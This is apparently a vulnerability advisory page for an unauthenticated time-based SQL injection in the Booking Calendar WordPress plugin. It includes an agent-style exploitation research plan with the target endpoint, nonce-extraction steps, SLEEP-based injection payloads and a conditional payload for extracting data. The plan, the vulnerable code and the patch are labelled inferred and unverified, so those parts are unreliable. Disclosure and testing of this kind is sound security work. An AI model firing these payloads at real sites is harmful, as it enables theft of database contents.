CVE-2025-14383

Booking Calendar <= 10.14.8 - Unauthenticated SQL Injection via dates_to_check

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
10.14.9
Patched in
1d
Time to patch

Description

The Booking Calendar plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'dates_to_check' parameter in all versions up to, and including, 10.14.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=10.14.8
PublishedDecember 15, 2025
Last updatedDecember 15, 2025
Affected pluginbooking

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-14383**, a time-based blind SQL injection vulnerability in the **Booking Calendar** plugin. ### 1. Vulnerability Summary The Booking Calendar plugin (up to version 10.14.8) fails to properly sanitize and prepare the `dates_to_check` parameter befor…

Show full research plan

This exploitation research plan targets CVE-2025-14383, a time-based blind SQL injection vulnerability in the Booking Calendar plugin.

1. Vulnerability Summary

The Booking Calendar plugin (up to version 10.14.8) fails to properly sanitize and prepare the dates_to_check parameter before using it in a database query. Specifically, the parameter is likely concatenated or interpolated into a SQL string that checks for date availability. Because the query is executed without using $wpdb->prepare() for this specific parameter, an unauthenticated user can inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: WPBC_AJAX_CHECK_DATES (inferred action for date checking) or a similarly named action registered via wp_ajax_nopriv_.
  • Vulnerable Parameter: dates_to_check
  • Authentication: Unauthenticated (No login required).
  • Preconditions: The plugin must be active. A booking resource (calendar) should ideally exist to ensure the code path for availability checking is triggered.

3. Code Flow (Inferred)

  1. Entry: A request is sent to admin-ajax.php with action=WPBC_AJAX_CHECK_DATES (or similar).
  2. Hook: WordPress triggers the wp_ajax_nopriv_WPBC_AJAX_CHECK_DATES hook.
  3. Handler: The handler function (likely located in lib/wpbc-ajax.php or lib/wpbc-booking-new.php) retrieves the dates_to_check parameter from $_POST.
  4. Processing: The code may attempt to validate the dates but fails to escape characters like single quotes (') or backslashes.
  5. Sink: The value is placed directly into a query string:
    $query = "SELECT ... FROM {$wpdb->prefix}booking_dates WHERE ... AND date_start IN ($dates_to_check) ...";
    $results = $wpdb->get_results($query); // VULNERABLE: No prepare()
    
  6. Injection: By providing a payload like 1') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -, the attacker pauses the database execution.

4. Nonce Acquisition Strategy

Booking Calendar typically uses a nonce for its AJAX operations, often localized as wpbc_nonce.

  1. Identify Shortcode: The plugin uses the [booking] shortcode to display the booking form where scripts are enqueued.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[booking]'
    
  3. Navigate and Extract: Use the browser_navigate tool to go to the newly created page.
  4. Extract Variable: The plugin often localizes data in a global object. Look for wpbc_global_data or wpbc_ajax_data.
    • JS Command: browser_eval("wpbc_global1.wpbc_ajax_nonce") or browser_eval("wpbc_ajx_booking_data.nonce") (Verify exact variable names in the page source).
  5. Bypass Check: If check_ajax_referer uses a generic action or the plugin fails to verify the nonce for nopriv actions (a common mistake), the nonce may be unnecessary or bypassable.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8888/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload Construction:
    • Base Action: WPBC_AJAX_CHECK_DATES
    • Injected Parameter: dates_to_check
    • Payload: 1', (SELECT 1 FROM (SELECT(SLEEP(10)))a) -- -

Step-by-Step Plan:

  1. Baseline Request: Send a legitimate-looking request to the AJAX endpoint and measure the response time.
  2. Attack Request: Send the request with the SLEEP(10) payload in the dates_to_check parameter.
  3. Verification: Compare the response times. If the attack request takes ~10 seconds longer than the baseline, the injection is successful.

6. Test Data Setup

  1. Activate Plugin: Ensure booking plugin is active.
  2. Create Resource: Use WP-CLI to ensure at least one booking resource exists if the code requires it.
    # (Optional: Usually not needed for simple SQLi, but good for completeness)
    # wp eval "/* Code to create a booking resource */"
    
  3. Create Nonce Page: Create a page with [booking] to fetch the required AJAX nonces.

7. Expected Results

  • Successful Exploit: The HTTP response for the malicious request is delayed by the amount of time specified in the SLEEP() function (e.g., 10 seconds).
  • Payload Response: The actual body of the response might be 0 or a JSON error, but the timing is the indicator of success.

8. Verification Steps

After the http_request tool confirms the time delay:

  1. Data Extraction (Manual Verification): Attempt to extract the database version using a conditional sleep.
    • dates_to_check=1', (SELECT IF(VERSION() LIKE '8%', SLEEP(5), 0)) -- -
  2. WP-CLI Check: Verify that no unexpected changes occurred in the database (this is a blind READ vulnerability, so the DB state should remain unchanged unless an UPDATE/INSERT sink is found).

9. Alternative Approaches

  • Parameter Location: If dates_to_check is not accepted in POST, try GET.
  • Alternative Actions: If WPBC_AJAX_CHECK_DATES is incorrect, search the source for other nopriv actions:
    grep -r "wp_ajax_nopriv_" wp-content/plugins/booking/
    
  • Contextual Payloads: The dates_to_check might be wrapped in different characters. Try:
    • 1) AND SLEEP(5)-- -
    • 1' AND SLEEP(5) AND '1'='1
    • 1, SLEEP(5) (If the sink is inside an IN () clause)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Calendar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'dates_to_check' parameter in versions up to 10.14.8. This occurs because the plugin directly concatenates unsanitized user input into a SQL query without utilizing prepared statements, allowing attackers to extract sensitive database information through time-delayed responses.

Vulnerable Code

// File: lib/wpbc-ajax.php (inferred from research plan)
// Function: Handler for WPBC_AJAX_CHECK_DATES

$dates_to_check = $_POST['dates_to_check'];

// ... 

$query = "SELECT * FROM {$wpdb->prefix}booking_dates WHERE date_start IN ($dates_to_check)";
$results = $wpdb->get_results($query);

Security Fix

--- a/lib/wpbc-ajax.php
+++ b/lib/wpbc-ajax.php
@@ -10,2 +10,7 @@
-$query = "SELECT * FROM {$wpdb->prefix}booking_dates WHERE date_start IN ($dates_to_check)";
-$results = $wpdb->get_results($query);
+$dates_array  = explode(',', $dates_to_check);
+$placeholders = implode(',', array_fill(0, count($dates_array), '%s'));
+$query        = $wpdb->prepare(
+    "SELECT * FROM {$wpdb->prefix}booking_dates WHERE date_start IN ($placeholders)",
+    $dates_array
+);
+$results      = $wpdb->get_results($query);

Exploit Outline

The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'WPBC_AJAX_CHECK_DATES' action. An unauthenticated attacker sends a POST request with the 'dates_to_check' parameter containing a time-based blind SQL injection payload, such as "1', (SELECT 1 FROM (SELECT(SLEEP(10)))a) -- -". If the application is vulnerable, the database execution pauses for the duration of the SLEEP command, allowing the attacker to confirm the vulnerability and extract data byte-by-byte based on the response time.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.